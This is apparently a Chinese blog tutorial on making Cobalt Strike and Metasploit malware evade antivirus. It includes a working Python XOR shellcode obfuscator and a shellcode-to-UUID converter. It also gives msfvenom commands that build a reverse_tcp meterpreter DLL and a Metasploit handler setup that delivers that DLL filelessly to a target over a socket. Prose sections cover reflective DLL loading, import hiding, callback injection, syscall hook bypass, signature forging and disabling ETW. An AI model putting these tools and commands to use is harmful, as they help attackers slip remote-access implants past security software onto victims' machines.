恶意代码免杀常规方法综述

308 阅读13分钟

声明:本内容只作为个人学习研究使用,请勿用作其他用途。

Cobalstrike监听器

监听器包括8种Beacon类型。

内置6种:Beacon DNSBeacon HTTPBeacon HTTPSBeacon SMBBeacon TCPExternal C2

外置2种:Foreign HTTPForeign HTTPS。外置Beacon监听器用来与MSF、Armitage等外部程序联动。

Beacon HTTP

在CS服务端建立监听端口,Beacon和C2之间通过HTTP协议完成Stage加载以及Beacon通信。

建立Listener配置如下,基本默认就行,改个ip和port

  • HTTP Hosts:Beacon回连的主机,可以添加多个
  • Host Rotation Strategy:Beacon回连主机策略
  • HTTP Host (Stager):配置Stager主机,仅当Payload明确需要Stager配合时有效
  • Profile:Malleable C2配置文件,用于自定义通信流量特征
  • HTTP Port (C2):Beacon回连的监听端口
  • HTTP Port (Bind):绑定监听端口,实现端口重定向
  • HTTP Host Header:设置内层真实域名,在使用域前置技术时使用
  • HTTP Proxy:为Payload指定代理

1-1683472544529-6.png

Payload类型

C文件

Output:C,生成payload.c。是一个C语言中的字符数组,可以通过以字节单位操作

生成的C文件是字节码的形式,Raw生成的bin文件是直接二进制的形式。都是shellocde,两者等价。只不过C文件字节码将bin二进制文件中的数据以字节形式表现出来了。

1.png

Raw格式

Output:Raw,生成payload.bin

2.png

exe文件

Output:Windows EXE,生成artifact.exe

3.png

接下来上项目实战,学习链接https://github.com/Rvn0xsy/BadCode

shellcode正常加载

参考https://github.com/Rvn0xsy/BadCode

项目连接https://github.com/isBigChen/BadCode

项目代码为BadCode=>BadCode.cpp,加载cobalstrike生成的c文件中的shellcode,拷贝到VirtualAlloc申请的内存空间中去,然后执行上线。

virustal报毒情况(36/70)

shellcode抑或混淆

先对cobalstrike生成的payload.bin进行抑或混淆

import sys
from argparse import ArgumentParser, FileType
​
def process_bin(num, src_fp, dst_fp, dst_raw):
    shellcode = ''
    shellcode_size = 0
    shellcode_raw = b''
    try:
        while True:
            code = src_fp.read(1)
            if not code:
                break
​
            base10 = ord(code) ^ num
            base10_str = chr(base10)
            shellcode_raw += base10_str.encode()
            code_hex = hex(base10)
            code_hex = code_hex.replace('0x','')
            if(len(code_hex) == 1):
                code_hex = '0' + code_hex
            shellcode += '\x' + code_hex
            shellcode_size += 1
        src_fp.close()
        dst_raw.write(shellcode_raw)
        dst_raw.close()
        dst_fp.write(shellcode)
        dst_fp.close()
        return shellcode_size
    except Exception as e:
        sys.stderr.writelines(str(e))
​
​
def main():
    parser = ArgumentParser(prog='Shellcode XOR', description='[XOR The Cobaltstrike payload.bin]')
    parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
    parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
    parser.add_argument('-n','--num',help=u'xor number',type=int, default=90)
    parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
    args = parser.parse_args()
    shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
    sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))
​
if __name__ == "__main__":
    main()

命令,这里主要使用生成的c文件,即字节码数组。

python3 ./xor_shellcoder.py -s payload.bin -d payload.c -n 10 -r out.bin

image-20230508103231469.png

项目代码为BadCodeShellcodeXor=>BadCodeShellcodeXor.cpp

payload.c文件中的字节码数组复制到buf数组里,运行过程中再次抑或,得到原始的shellcode。

virustal报毒情况(28/70)

优化VirtualAlloc

在申请内存页时,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性变为可执行。

项目代码为BadCodeVirtualAlloc=>BadCodeVirtualAlloc.cpp

virustal报毒情况(27/70)

优化异或方式

异或运算是较为敏感的操作,windows下InterlockedXorRelease函数可以用于两个值的异或运算

项目代码为BadCodeShellcodeXor2=>BadCodeShellcodeXor2.cpp

分离免杀:将恶意代码放置在程序本身之外的一种加载方式。

本地管道

项目代码为BadCodeLocalPipe=>BadCodeLocalPipe.cpp

管道: 是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。

通常与Pipe相关的API都与管道有关,包括Cobaltstrike External C2也是用的管道进行进程通信,一般管道是一个公开的内核对象,所有进程都可以访问。

本实例主要是通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程。

TEXT宏无法用的情况,修改项目属性配置属性=>C/C++=>语言=>符合模式改成否

本地分离管道

两个管道分离开,一个往管道里写;一个从管道里读,然后放入申请的空间并反混淆然后执行,仅此而已。

项目代码为

  • BadCodePipeServer=>BadCodePipeServer.cpp
  • BadCodePipeClient=>BadCodePipeClient.cpp

网络套接字socket

项目代码为

  • BadCodeSocketServer=>BadCodeSocketServer.cpp
  • BadCodeSocketClient=>BadCodeSocketClient.cpp

客户端发送被混淆的shellcode,服务端接收后放到virtualalloc申请的空间里,然后反混淆,然后创建线程执行。

注意需要改shellcode和ip和服务端buf的大小

反射DLL加载

Windows操作系统在执行一个Windows PE格式的文件时,Windows自身是有一个Windows PE格式的解析器,通过PE格式把文件的各个节放入不同的内存区域。

反射机制就是将Windows PE格式通过自己写的代码进行解析,并把不同的节数据加载到内存中,通常这个反射加载技术被很多APT组织、大型渗透框架、病毒作者使用比较广泛。

当一个Windows PE格式的文件变成了一个内存中的字符串,意味着这个文件可以被任意方式去转换、加密、混淆,因此反病毒软件也难以查杀。

MemoryModule就是实现了这个过程

https://github.com/fancycode/MemoryModule
https://gitee.com/china_jeffery/MemoryModule

MemoryModule实现原理:https://payloads.online/archivers/2019-03-14/1/

加载DLL实验

首先制作一个可以弹框的dll文件(BadCode-DLL=>BadCode-DLL.cpp)。修改项目属性为生成dll文件,然后写一个导入规则的def文件,设置项目属性应用这个def文件。网上参考教程很多,这里记个步骤。

#include <Windows.h>VOID msg(VOID){
    MessageBox(NULL,TEXT("Test"),TEXT("Hello"),MB_OK);
    return;
}

接下来通过LoadLibrary这个API来加载DLL文件,这是一个基础的方法,代码就不写在项目里了,直接贴在这里

#include <Windows.h>;
​
typedef VOID (*msg)(VOID);
​
int main()
{
    msg RunMsg;
    HMODULE  hBadCode = LoadLibrary(TEXT("BadCode-DLL.dll"));RunMsg = (msg)GetProcAddress(hBadCode,"msg");
    RunMsg();
    FreeLibrary(hBadCode);
​
    return 0;
}

MemoryModule加载DLL实验

MemoryModule的使用方法:

  • 将要加载的PE文件读入内存
  • 初始化MemoryModule句柄
  • 装载内存
  • 获得导出函数地址
  • 执行导出函数
  • 释放MemoryModule句柄

MemoryModule.hMemoryModule.cpp两个文件复制到项目里,然后修改加载的dll文件。

项目代码:BadCode-ReflectDLL

socket接收msf发送的dll实现无落地文件

思路是msf先生成一个dll,反弹到msf机器的8899。然后打开一个监听8899到后台。然后设置dll发送模块,等待客户端连接发送恶意dll文件的二进制数据。然后靶机通过socket接收dll二进制数据,并通过MemoryModule加载并执行,实现无落地dll上线。

先生成dll,大小会在结果中给出,稍后需要修改客户端代码

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=8899 -f dll -o ~/y.dll

设置msf监听和dll发射器

use exploit/multi/handler 
​
set payload windows/x64/meterpreter/reverse_tcp
​
set lhost 192.168.218.129
set lport 8899
​
run -j
​
set payload windows/patchupdllinject/reverse_tcp
​
set lhost 192.168.218.129
set lport 8888
set dll /home/kali/y.dll
​
run -j

编写客户端代码,项目为BadCode-ReflectDLL2

注意需要修改ip地址和接收dll的字节大小,然后生成exe文件在windows虚拟机中运行。

GetProcAddress获取函数地址隐藏导入表

Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。

GetProcAddress这个API在Kernel32.dll中被导出,主要功能是从一个加载的模块中获取函数的地址。

FARPROC GetProcAddress(
  HMODULE hModule, // 模块句柄
  LPCSTR  lpProcName // 函数名称
);

FARPROC被定义在了minwindef.h中,声明如下

#define WINAPI      __stdcalltypedef int (FAR WINAPI *FARPROC)();

也就是说GetProcAddress返回的是我们要找的函数地址。

GetProcAddress实验

以BadCode项目代码做实验,主要流程如下

VirtualAlloc -> VirtualProtect -> CreateThread -> WaitForSingleObject

这几个函数是比较明显的,并且都在kernel32.dll中导出,我们尝试自己定义他们的函数指针,然后利用GetProcAddress获取函数地址,调用自己的函数名称。

项目代码:BadCodeDisableImport=>BadCodeDisableImport.cpp

字符串混淆

一般情况下,C/C++程序中的字符串常量会被硬编码到程序中(.data段,也就是数据段),尤其是全局变量最容易被定位到。

重载运算符

示例

#include <iostream>
#include <cstring>class Test{
    private:
        std::string str;
        int n;
    public:
        Test(std::string _str, int _n);
        ~Test();
        operator std::string();
};
Test::Test(std::string _str, int _n){
    this->str = _str;
    this->n = _n;
}
Test::~Test(){
}
Test::operator std::string(){
    for (int i=0; i<this->str.length(); i++){
        this->str[i] += this->n; 
    }
    return this->str;
}
int main(){
    Test t = Test("abcde", 1);
    std::cout<<std::string(t)<<std::endl;
    return 0;
} 

项目:https://github.com/Rvn0xsy/Cooolis-ms

HeapCreate绕过DEP

VirtualProtect这个API能够更改内存页的属性为可执行或不可执行,对于二进制漏洞利用来说,溢出的时候,把返回地址设计为VirtualProtect的地址,再精心构造一个栈为调用这个API的栈,就可以改变当前栈的内存页的属性,使其从"不可执行"变成"可执行"。

HANDLE WINAPI HeapCreate(
__in DWORD flOptions,
__in SIZE_T dwInitialSize,
__in SIZE_T dwMaximumSize );

第一个参数flOptions用于修改如何在堆栈上执行各种操作。 你可以设定0HEAP_NO_SERIALIZEHEAP_GENERATE_EXCEPTIONSHEAP_CREATE_ENABLE_EXECUTE或者是这些标志的组合。

  • HEAP_NO_SERIALIZE:对堆的访问是非独占的,如果一个线程没有完成对堆的操作,其它线程也可以进程堆操作,这个开关是非常危险的,应尽量避免使用。
  • HEAP_GENERATE_EXCEPTIONS:当堆分配内存失败时,会抛出异常。如果不设置,则返回NULL。
  • HEAP_CREATE_ENALBE_EXECUTE:堆中存放的内容是可以执行的代码。如果不设置,意味着堆中存放的是不可执行的数据。

具体实现示例可以参照制作CS免杀马的一个实例

UUID通用唯一标识符

通用唯一标识符(universally unique identifier, UUID)是一个128位的用于在计算机系统中以识别信息的数目。在Windows中也有使用GUID来标识唯一对象。

关于Windows中的GUID也等同于UUID,https://learn.microsoft.com/en-us/windows/win32/rpc/rpcdce/ns-rpcdce-uuid

typedef GUID UUID;
typedef struct _GUID {
  unsigned long  Data1; // 4字节
  unsigned short Data2; // 2字节
  unsigned short Data3; // 2字节
  unsigned char  Data4[8]; // 8字节
} GUID;

与UUID相关的Windows API

  • 将UUID字符串转为UUID结构
RPC_STATUS UuidFromString(
  RPC_CSTR StringUuid,
  UUID     *Uuid
);
  • 创建UUID结构
RPC_STATUS UuidCreate(
  UUID *Uuid
);
  • 判断两个UUID是否相等
int UuidEqual(
  UUID       *Uuid1,
  UUID       *Uuid2,
  RPC_STATUS *Status
);

UUID测试shellcode

第1步,生成一个可以执行calc.exe命令的shellcode

msfvenom -p windows/x64/exec CMD=calc.exe -b '\xfc\xe8' -f raw -o ~/shellcode.bin
​
-b:避免使用的字符
-f:输出的文件格式

第2步,生成shellcode.bin的uuid

from uuid import UUID
import os
import sys
​
# Usage: python3 binToUUIDs.py shellcode.bin [--print]with open(sys.argv[1], "rb") as f:
    bin = f.read()
​
if len(sys.argv) > 2 and sys.argv[2] == "--print":
    outputMapping = True
else:
    outputMapping = False
​
offset = 0print("Length of shellcode: {} bytes\n".format(len(bin)))
​
out = ""while(offset < len(bin)):
    countOfBytesToConvert = len(bin[offset:])
    if countOfBytesToConvert < 16:
        ZerosToAdd = 16 - countOfBytesToConvert
        byteString = bin[offset:] + (b'\x00'* ZerosToAdd)
        uuid = UUID(bytes_le=byteString)
    else:
        byteString = bin[offset:offset+16]
        uuid = UUID(bytes_le=byteString)
    offset+=16
​
    out += ""{}",\n".format(uuid)
    
    if outputMapping:
        print("{} -> {}".format(byteString, uuid))
​
with open(sys.argv[1] + "UUIDs", "w") as f:
    f.write(out)
​
print("Outputted to: {}".format(sys.argv[1] + "UUIDs"))

第3步,生成测试样本

项目代码BadCodeUUID=>BadCodeUUID.cpp

windows callback

https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection

CALL BACK意为回调,是定义一个函数,由系统某个事件或用户的动作自动触发的函数,因此调用者不是用户。

通过MSDN直接搜索Callback/Proc关键字就能发现一些回调函数:

示例,如果CallMaster指向的是一块可执行属性的内存,那么就可以加载Shellcode。

HINTERNET hOpen;                       // Root HINTERNET handle
INTERNET_STATUS_CALLBACK iscCallback;  // Holds the callback function// Create the root HINTERNET handle.
hOpen = InternetOpen( TEXT("Test Application"),
                      INTERNET_OPEN_TYPE_PRECONFIG,
                      NULL, NULL, 0);
​
// Set the status callback function.
iscCallback = InternetSetStatusCallback( hOpen, (INTERNET_STATUS_CALLBACK)CallMaster );
​
void CALLBACK CallMaster( HINTERNET,
    DWORD_PTR,
    DWORD,
    LPVOID,
    DWORD
);

汇编语言写shellcode加载器

NASM与MASM

NASM与MASM是一个汇编器,能够将汇编代码转换为能够被CPU执行的(目标代码)二进制代码,NASM目前是由H. Peter Anvin提供支持,与MASM相对来说较为自由。MASM是由微软推出,但已经许久没有更新

MASM的汇编文件可以直接被Visual Studio编译,这里倒是方便很多

很多黑客的Shellcode都是基于NASM环境开发的,Kali Linux中也默认安装了NASM,评判一个Shellcode的好坏就是短小、精炼、干净,NASM是首选。

思路:寻找PEB →定位Kernel32.DLL的PE基址→定位GetProcAddress API的地址,获取GetFileSize、CreateFileA、ReadFile、CreateFileMappingA、MapViewOfFileA、VirtualAlloc、VirtualProtect这类常用的API地址对Shellcode进行读取,放入可执行的内存,最终call一下执行。

绕过HOOK——syscall

令见syscall笔记

https://xz.aliyun.com/t/9166

image-20230516165301404.png

降低熵值

编译阶段

在visual studio中,程序编译阶段选择resource file - > add -> resource - > icon,增加图标。

修改二进制文件特征

对于没有源码的程序,也可以通过工具resourcehacker修改图标,达到修改其特征值的效果

资源修改:有些杀软会设置有扫描白名单,比如之前把程序图标替换为360安全卫士图标就能过360的查杀。

  • 添加资源:使用ResHacker将正常软件的资源加入到恶意软件,例如图片、版本信息、对话框等
  • 替换资源:使用ResHacker替换无用的资源,例如版本等
  • 添加签名:使用签名伪造工具,将正常软件的签名信息添加到恶意软件

源码层面混淆

插入垃圾代码

如无意义的api,数学上的可逆运算。

例如一些变量以及函数再被定以后从来没有被引用或者调用。这些代码是可能会执行的,但是不会影响脚本的整体执行结果。

对于云端沙箱,之前听别人简单说过,可以通过制造大文件、删除文件等方式阻止上传到云端。这里简单增加了一首MP3资源进可执行文件演示一下。https://xz.aliyun.com/t/11448

命名复杂化

最常见的混淆技术是将变量或者函数的命名过于复杂化。例如字符串由大写,小写字母,数字组成,这样子乍一看很难区分这些符号。因此这些命名可以被替换为更加具体的命名。

指令替换

间接调用和混淆控制流程

在程序的执行流程中,往往会间接调用函数,攻击者可以在调用某个函数时,不是直接调用,而是经常几次其他无功能函数的调用最终调用该函数,因此可以混淆控制流程。

白名单免杀

  • 通过白名单的程序加载恶意代码
  • dll劫持

内存免杀Detours

blog.csdn.net/weixin_4474…

内存扫描是耗时耗力不管是卡巴还是其他杀软,一般来说都是扫描进程中一些高危的区域比如带有可执行属性的内存区域,既然他扫描带有X(可执行)属性的内存区域那么只要我们去除X属性,那自然就不会被扫也就不会被发现,但问题是去除X属性后Beacon也就跑不起来,但是不用怕我们知道Windows进程触发异常时我们可以对它处理,而此时我们可以在一瞬间恢复内存X属性让它跑起来然后等它再次进入sleep时去除X属性隐藏起来。

禁用Windows事件跟踪 (ETW)

https://xz.aliyun.com/t/11448